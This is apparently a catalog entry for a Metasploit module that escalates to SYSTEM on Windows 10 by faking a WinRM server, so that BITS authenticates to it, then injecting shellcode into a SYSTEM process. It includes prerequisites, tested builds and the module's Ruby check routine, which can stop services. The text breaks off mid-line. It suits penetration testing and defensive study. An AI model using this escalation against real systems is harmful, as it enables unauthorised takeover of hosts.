Metasploit Module: SYSTEM token impersonation through NTLM bits authentication on missing WinRM Service.
Type: exploit
Path: modules/exploits/windows/local/bits_ntlm_token_impersonation.rb
Platform: win
Disclosure date: 2019-12-06
References: URL-https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/, URL-https://github.com/antonioCoco/RogueWinRM

Description:
This module exploit BITS behavior which tries to connect to the
            local Windows Remote Management server (WinRM) every times it
            starts. The module launches a fake WinRM server which listen on
            port 5985 and triggers BITS. When BITS starts, it tries to
            authenticate to the Rogue WinRM server, which allows to steal a
            SYSTEM token. This token is then used to launch a new process
            as SYSTEM user. In the case of this exploit, notepad.exe is launched
            as SYSTEM. Then, it write shellcode in its previous memory space
            and trigger its execution. As this exploit uses reflective dll
            injection, it does not write any file on the disk. See
            /documentation/modules/exploit/windows/local/bits_ntlm_token_impersonation.md
            for complementary words of information.

            Vulnerable operating systems are Windows 10 and Windows servers where WinRM is not running.
            Lab experiments has shown that Windows 7 does not exhibit the vulnerable behavior.

            WARNING:

            - As this exploit runs a service on the target (Fake WinRM on port
            5985), a firewall popup may appear on target screen. Thus, this exploit
            may not be completely silent.

            - This exploit has been successfully tested on :
            Windows 10 (10.0 Build 19041) 32 bits
            Windows 10 Pro, Version 1903 (10.0 Build 18362) 64 bits

            - This exploit failed because of no BITS authentication attempt on:
            Windows 7 (6.1 Build 7601, Service Pack 1) 32 bits

            - Windows servers are not vulnerable because a genuine WinRM
            service is already running, except if the user has disabled it
            (Or if this exploit succeed to terminate it).

            - SE_IMPERSONATE_NAME or SE_ASSIGNPRIMARYTOKEN_NAME privs are
            required.

            - BITS must not be running.

            - This exploit automatically perform above quoted checks.
            run "check" command to run checklist.

Check method (fingerprinting):
privs = client.sys.config.getprivs
    version = get_version_info
    # Fast fails
    if version.build_number < Msf::WindowsVersion::Win8 && !version.windows_server?
      print_bad("Operating system: #{version.product_name}")
      print_bad('BITS behavior on Windows 7 and previous has not been shown vulnerable.')
      return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
    end

    unless privs.include?('SeImpersonatePrivilege') || privs.include?('SeAssignPrimaryTokenPrivilege')
      print_bad('Target session is missing both SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege.')
      return Exploit::CheckCode::Safe('Session lacks required SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege')
    end
    vprint_good('Target session has either SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.')

    running_services_code = check_bits_and_winrm
    if running_services_code < 0
      return Exploit::CheckCode::Unknown("Could not determine BITS/WinRM service state for version #{version}")
    end

    should_services_be_shutdown = datastore['SHUTDOWN_SERVICES']
    if running_services_code > 0
      if should_services_be_shutdown
        shutdown_service(running_services_code)
        sleep(2)
        running_services_code = check_bits_and_winrm
      end
      if [WINRM, WINRM + BITS].include?(running_services_code)
        print_bad('WinRM is running. Target is not exploitable.')
        return Exploit::CheckCode::Safe('WinRM is running,